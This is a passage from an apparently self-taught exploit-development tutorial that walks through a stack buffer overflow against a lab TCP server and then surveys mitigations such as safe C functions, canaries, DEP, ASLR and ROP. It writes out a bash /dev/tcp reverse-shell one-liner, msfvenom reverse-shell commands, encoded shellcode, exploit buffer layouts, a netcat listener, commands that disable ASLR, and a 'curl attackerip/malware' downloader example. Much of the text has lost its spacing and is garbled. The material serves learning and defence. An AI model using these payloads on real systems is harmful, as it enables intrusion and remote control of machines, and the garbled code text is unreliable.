and find the unique 4 byte value in EIP Yoursquoll use a sister program which essentially counts the number of bytes in pattern_createrb
outputuntilitgetstotheunique4bytevaluethatwascopiedintoEIP
Example
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0
Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6
Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7
Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1
Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2
Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf
4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk
YoucanchecktheregistertoojusttoconfirmtheuniquefourbytestringthatwaswrittenintoEIP0x37694236
Then you use the sister program which is just going to count all the bytes in our unique buffer string up to the point of that 4 byte EIP
value
usrsharemetasploit-frameworktoolsexploitpattern_offsetrb-l1100-q37694236
Letrsquoscomparethe1040byteoffsetagainsttheoffsetwefoundmanuallyusingbinarytreeanalysis
python-cprintx411000+x4225+x438+x447+x454(EIP)+x4641000+25+8+7=1040NowweknowthatourbufferandregistersbeforeEIPisapproximately1040byteslongwhilethefollowing4byteswillbeourmemoryaddressthatreturnsusbackintoourbufferandeventuallyrunsourprogramsOnceagainIfoundthissillypicturenotonlyamusingbutthemostusefulIgnorethe500bytesizelengthandreplacethatwith1040forexample
Now we want to make a slight modification to the manual buffer we created previously by adding some x90 no operations commands
Wersquoll add exactly 1040 bytes of NOPS for now Take a second look at the illustration above and see that wersquore going to write out a
bunchofNOPSandeventuallyaddsomeldquomalwarerdquocode
python-cprintx901040+x454+x904
Letrsquosmodifyourclientpyscripttoadjustforthenew1040offsetandNOPs
Notice how similar the manual python script looks to the replaced MESSAGE variable value If this update works correctly wersquod expect
thatmemorylocationsbeforeEIPtobex90rsquosandwersquodexpecttoseethatEIPisx45454545
MESSAGE=x901040+x454+x901000
Run the vulnerable tcp server and clientpy side-by-side and yoursquoll find that the segmentation fault occurs at EIP with a value of exactly
x45454545
Now most importantly what do we put into the Instruction Pointer That depends on where your buffer of x90rsquos land To find our
NOPSletsruntheattackwiththefollowinglogicintheclientpy
MESSAGE=x901040+x454+x901000
Letrsquosswitchsomethingsupandtryanewdebuggerhellip
1 Server1337
2 Fromterminal2rarredb
3 FromedbUIrarrfilerarrattachrarrldquoServerrdquo
4 FromedbUIrarrfilerarrdebugrarrrunrarrrun(twiceorso)
5 UpdateyourclientPoCcode
6 pythonclientPoCpy1337
CodeChanges
malware=(x41100)
eip=x424
ending=x90200
nopsled=(x90(1000-len(malware)))
MESSAGE=x901040+eip+nopsled+malware+ending
Welandsomex42rsquosperfectlyonEIPwhichmeansweadjustedforthebuffercorrectly
Right click in the registers and do a follow in memory dump In this case I clicked ESP and found some 90rsquos in the bottom left-hand
corner
Looking at our memory we see can see the 90rsquos we wrote before EIP we can see the x42 which is EIP and we can see that ESP points
to memory address bffff310 If we continue to scroll down into ESP we should find a bunch of Arsquos which symbolizes our malware At
memoryaddressbfff6a0wefindourArsquoswhichmightaswellbemalware
Nowthatweknowthex90rsquosfeednicelyintoourmalwarewewanttofindalocalstaticbinarywithanOPCODEthatallowsustojump
intoESPWersquollneedabinarythatisalreadyloadedintomemorythatgrantsourprogramreadpermissionFromtherewewillsearchfor
aJMPESPopcodetofindamemorylocationwiththatinstruction
1 runthevulnerableserver
2 startupedbdebuggerandattackthevulnerableserver
3 rightclickPluginsrarrOpsCodesearchrarrClickESPtoEIP
4 Manuallysearchthrougheachloadedbinaryandclicksearch
0xb7facf97 or x97xcfxfaxb7 is the memory location of the OPCODE instruction we need to insert into EIP in order to trick the CPU
tojumpintothememoryaddressheldatESPregisterandthenexecuteourmalwareinESPAsafriendlyreminder
So what do we want our malware to do For now letrsquos create a simple reverse shell back to a command and control server In the
futureIrsquollwriteapaperaboutacustompieceofmalwarejustforfun
Aboilerplateuniversalreverseshellonlinuxlooksliketheonebelow
binsh-igtampdevtcp12700144440gtamp1
Letrsquos test this out on a similar OS to the target server (as best we can) to make sure it will run correctly Wersquoll create a netcat listener in
one terminal listening on port 4444 and wersquoll execute the reverse shell from another terminal and attempt to connect to the listener It
lookslikethissimplereversebinshshellcommandwillworkonthetargetOS(mylocalhostlolz)
The next part that gets overlooked is the assembler encoding into machine op code Kali Linux and Metasploit have tools that generate
a bunch of shellcode for you but the details of the tools can be easily missed or misunderstood If your self-taught noob like myself and
not comp-sci person then itrsquos good we take a moment to cover this Even if you donrsquot fully understand it yoursquoll at least understand there
isanaddedlayerofcomplexity
LetrsquosrefertoourfriendwikipediaforhelphereIpersonallyconcatenateabunchofthistogetherbecauseIfounditusefulinmynotes
ldquoThe Netwide Assembler (NASM) is an assembler and disassembler for the Intel x86 architecture It can be used to write 16-bit 32-bit (IA-32) and 64-bit (x86-64) programs
NASM principally outputs object files which are generally not executable by themselves In computing object code or object module is the product of a compiler In a general
sense object code is a sequence of statements or instructions in a computer language usually a machine code language (ie binary) or an intermediate language such as
register transfer language (RTL) An assembler is used to convert assembly code into machine code (object code) An assembly language (or assembler language) often
abbreviated asm is any low-level programming language in which there is a very strong correspondence between the programs statements and the architectures machine
codeinstructionsrdquo
So when we put in x90x41x42 etc etc you might have noticed that the values stayed the same in memory and in the registers But
when we put in a bunch of Arsquos for some reason the EIP register spit out x41s Well when we performed ldquoinfo all-registersrdquo wersquore seeing
the HEX variant (x41x42x43) of the variables used in the CPUrsquos assembly language Thatrsquos part of the assembly language at work
helpingusgofromahigherlevellanguageinCtoalowerlevellanguagetotheCPUthatwedonrsquotunderstandlikebinary1rsquosand0rsquos
So when we write our malware to the registers it seems best to encode it into the assembly NASM HEX variant of the ASCI characters
commands because the assembly is already expecting that value in the register to execute when the function is called I canrsquot explain it
any deeper other than saying itrsquos ldquomagicrdquo All I know is that if you try to put human readable bash command syntax into a register the
registerdoesntknowwhattodowithitbecauseldquoitdoesntspeakthatlanguagerdquohellipyoufeelme(-8hellip
PutsimplyletrsquostakethecommandwearefamiliarwithinBASHandencodeitintosimpleHEXforillustrationhellip
binsh-igtampdevtcp12700144440gtamp1
encodesto
x2fx62x69x6ex2fx73x68x20x2dx69x20x3ex26x20x2fx64x65x76x2fx74x63x70x2fx31x32x37x2ex30x2ex30x2ex31x
2fx34x34x34x34x20x30x3ex26x31
Unfortunately the assembly still wont ldquounderstandrdquo what that HEX bash command means Largely because wersquore executing directly
from the stack and therefore we need x86 equivalent instructions However it does visually illustrate the point that wersquore taking a
simpleshellcommandandencodingitintoassemblyandwritingtheoutputinCHEX
To make this easier wersquoll use a tool from here on to help us translate a similar shell command like the one below into a lower level x86
encodedcommandthatthekernelcaninterpret
binsh-igtampdevtcp12700144440gtamp1
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
x86encodedShellCode
xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1
x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f
xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0
xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45
x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33
x21x0bx8fxc0xd9xbbxe0x09x7bx55x76xb6x29xf6x01
xd8x7dxf3xdcx9b
TheMSFVENOMtoolisextremelyfeaturerichItiseasytorunitblindlybasedonsomeblogortrainingcoursewithoutfully
understandingthedetailsbehindthepayloadsencodersandoutputUsingourexampleIrsquollgivea60secondbreakdownItrsquosreally
worthreadingthemanpageonmsfvenomtounderstandthearchitecturesandencoders
- p=payloadwherepayloadcouldbelowlevelassemblycompiledjavajspshellcommandscrossplatform
- shell_reversewheretheUnderscoremeansasinglestagedpayloadThismeanstheentireremotecodeexecutionoccursina
singlegoAlternativelyamulti-stagedpayloadmightinjectaldquodownloaderrdquothenrunthedownloadedagainsttheattackerrsquos
ldquoWebServerrdquotogetadditionalremotecodecommandexecutionThinkstage1ldquocurl-sattackeripmalwarerdquowhilestage2is
malwareldquobinsh-igtampdevtcp12700144440gtamp1rdquoorsometihngfarbiggerandmoreadvanced
- f=formathellipThatcanberawCJSPshelletcetc
- -eistheencoderinthiscaseforthex86architecturewersquoreworkingonbuttherearemanymanymore
- -baretheldquobadrdquocharactersIrsquoveincludedafewexampleshere
Wheredoweputourmalware
While writing these notes I first put the shell code at the beginning of the buffer before EIP Letrsquos think about this for a second in the
clientpyscriptputtingthemalwarebeforeEIPlookslikethis
NOPSLED+MALWARE+EIP(RETURNBEFOREMALWARE)+NOPS
Personally I found the first approach difficult for this C program because the NOPSLED overwrote 90rsquos to all my registers This is
important because I had no OP CODE which I could use to dynamically jump into the NOPSLED before the MALWARE I was left
manually searching for a memory address of my NOPSLED and hard coding the memory address into the program This is inferior
because you may want to test larger MALWARE which could overwrite your memory address or you may have a different memory
address when you run this exploit on a target system outside of your lab Once again hard coding the return point is bad and
unfortunatelytheNOPSLEDbeforeEIPdidntgivememuchtodynamicallyjumpinto
HoweverIdidfindthatputtingmymalwareafterEIPopenedsomenewdoorsThisapproachlooksclosertothesyntaxbelow
NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS
LikebeforewhenfindingJUMPESPyoucantestthisoutbygeneratingcodesimilartothecodebelow
malware=x41x30
eip=x97xcfxfaxb7
eip=x41x41x41x41
ending=x90200
nopsled=(x41(1000-len(malware)))
MESSAGE=x901040+eip+nopsled+malware+ending
After updating the code in the clientpy script go ahead and run the attack against the vulnerable server while in EDB debug mode Then
look into your register windows and try to ldquoFindrdquo any x90rsquos or if you used Arsquos x41rsquos If you find a register in my case ESP I overwrote
with a bunch of x41rsquos So instead of manually hard coded a memory location into the exploit I can now simply reference by ESP register
pointertojumpintothenopsled
One point here that was omitted online is the value of this In order to ldquoJumprdquo into all those ldquoArsquos you will need a librarydll with that
specific x86 operation code which your program has access to Letrsquos say Windows or Linux has a library with a JMP ESP command that
can program can call then your exploit becomes more portable because you can simply call that library Plus if you want to try out
bigger malware payloads you donrsquot have to go down into lower memory locations and hard code the new NOP location to ldquomake roomrdquo
for a bigger payload With memory protections enabled I suspect this becomes more complex but I think for now wersquoll go with the shell
codeaftertheEIPsowecanjumpintoESP
NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS
BadCharactersinCustomMalwareIfyouweretoattempttofindyourownbufferoverflowinapieceofsoftwareandwriteyourownremotecodeexecutionorremotecommandexecutionyouwouldfindthatsomecharactersarereservedforpromotinglanguageandassemblerForexamplex00isusedforNULLpointterminationinCwhichindicatesanendofanarrayorbufferandtellsaprogramtostopatthepointitseesx00OtherlanguagesmayhavesimilarreservedtypeofcharactersyouwanttocommitAsanoverlysimplifiedexamplehellip
x86encodedShellCodewBadCharacters(Fornextsection)
xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1
x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f
xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0
xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45
x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33
x21x0bx8fxc0xd9xbbxe0x09x7bx00x00x55x76xb6x29xf6x01
xd8x7dxf3xdcx9bx00x00
Nowletrsquosupdateourclientpycodetoreflectthesechangesandincludethereverseshellpayloadwejustmade
UpdatedclientpyCodewiththeldquoBadCharactercoderdquo
Wersquore getting close to the moment of truth The expected behavior is when turn on another netcat listener on port 4444 and run the
clientpy the clientpy script will attack the vulnerable tcp server and write our malicious code into the vulnerable serverrsquos buffer and
overwrite EIP with a memory pointer that will tell the CPU to ldquogo backrdquo to our malicious command which will ultimately create a
connection back to the ldquoattackerrdquo on the listening 4444 port However because we have ldquoBad Charactersrdquo we know the connection
willfail
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
We notice that the attack fails because the connection back to our attacking machine (farthest right) does not respond to our ID or
WHOIScommandsLetrsquosinvestigate
1 RightclickEIPinRegisterWindowsrarrFollowinDump
2 ScrollaroundandfindthemalwareinbetweentheNOPSLEDandNOPending
3 Lookforx00commandsandtrytonoticeanythingorstrange
WhattheTargetMachineSees
Whatwesentover
We go through each HEX character one by one and notice if any original character from the client payload are omittedgoofed up etc
etc This is a slow and tedious part of the process and arguably the best opportunity to learn We see a whole string of characters does
not ldquomatchrdquo So what happened The bad characters are reserved for various operations and memory locations If you send an OP
CODE for example then the machine will just process it ldquoas isrdquo not knowing that the characters you sent are part of a specific sequence
of characters to form a command In an environment where you are trying to encode BASH command or x86 x64 you will run into
various characters that your malware payloads canrsquot use If you donrsquot spend the time checking the memory dump for bad
charactersthenyouwillhavemanysadandlonelyhoursbehindthekeyboard
So we have to generate a payload that can omit bad characters Luckily we have a program to help us generate x86 shellcode and
omitcharacters
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow
ofhellip
1 UseagiantblobofallASCIcharactersinHEX
2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline
Howtotestforbadcharactersandotherassemblyandregisterissues
Terminal1Server1337
Terminal2edb(orGDBIwonrsquotjudge)
fromedbrarrattachrarrServer
fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning
Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory
Yoursquollbelookingforx41orx90rsquos
Option1-AlltheASCII
x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10
x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20
x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30
x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40
x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50
x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60
x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70
x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80
x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90
x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0
xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0
xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0
xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0
xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0
xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff
Option2-Testsomespecificcommands
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto
thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest
Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution
ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime
issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo
KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor
hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO
commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell
NewPayload
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode
FinalResults
SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere
theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback
toourldquoattackingrdquoterminal(farthestright)
CommonBufferOverflowExampleandMitigations(inC)
WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare
morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated
stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline
orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()
andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe
assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe
registersofacompiledbinaryorreviewingtheoutputfromGHIDRA
gets
Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability
VulnerableCode(SOURCE)
printfexternallink(Inputsomethingnastyhere)
gets(something)
VulnerableCode(ASSEMBLY)
FixedCode
printfexternallink(Inputsomethingnastyhere)
fgets(usernameLENGTHstdin)
strcpy
Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone
contiguoustomemorywherethepayloadisstored
VulnerableCode
charstr1[10]
charstr2[]=badstuffhere
strcpy(str1str2)
FixedCode(SOURCE)
enumBUFFER_LIMIT=1024
intmain()
chardst[BUFFER_LIMIT]
charsrc[]=badstuffhere
intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)
if(buffer_lengthgt=BUFFER_LIMIT)
printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn
buffer_lengthBUFFER_LIMIT-1)
VulnerableCode(ASSEMBLY)
Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows
FixedCode(SOURCE)
enumBUFFER_BOUNDARY_SIZE=1024
charstr1[BUFFER_BOUNDARY_SIZE]
charstr2[]=badstuffhere
strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize
strcat
YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto
thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin
sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied
FixedCode(SOURCE)
defineBUFFER_BOUNDARY_SIZE1024
charbuff[BUFFER_BOUNDARY_SIZE]
Usesecurestrncpythenuse
strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)
buff[BUFFER_BOUNDARY_SIZE-1]=0
strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)
strcmp
ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach
otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot
validatethesizeoftheinputagainstthepredefinedbuffer
OtherMitigationstoBufferOverflows
During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable
ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the
following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits
need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my
own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the
newcomertodiptheirtoesintothesubjects
Canary
A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions
prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary
ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps
detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly
overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith
https0x00secorgtexploit-mitigation-techniques-stack-canaries5085
httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained
httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf
DEP-DataExecutionProtection
DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware
executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as
non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns
For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag
of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other
linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow
security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks
forroutineswithanytypeofbuffer
In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get
the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the
bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP
setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may
introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP
httpslwnnetArticles422487
httpslinuxdienetman8execstack
httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in
httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your
httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae
BypassingDEP
Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to
David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view
ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining
So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu
will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you
overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary
arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in
linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable
in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another
option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in
the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the
application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of
instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope
somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle
ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot
intendtohavethewordldquoheartrdquodidherdquo
Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your
payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP
gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET
instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps
An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute
ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script
which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1
But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it
difficulttocallexecve()orsystem()
Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove
found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create
a new executable space or change the flag for existing executable space However finding the memory addresses to these functions
andcallingthemappearstobeadifferentstory
httpsgithubcomJonathanSalwanROPgadget
httpswwwrapid7comresourcesrop-exploit-explained
httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf
httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf
httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi
ng-chains]pdf
ASLR(Addressspacelayoutrandomization)
Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation
BypassingASLR
Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and
windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible
chunksandhopefullythishelpsguidemyselfandotherfurtherstudies
NonASLRlinkedbinaries
It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with
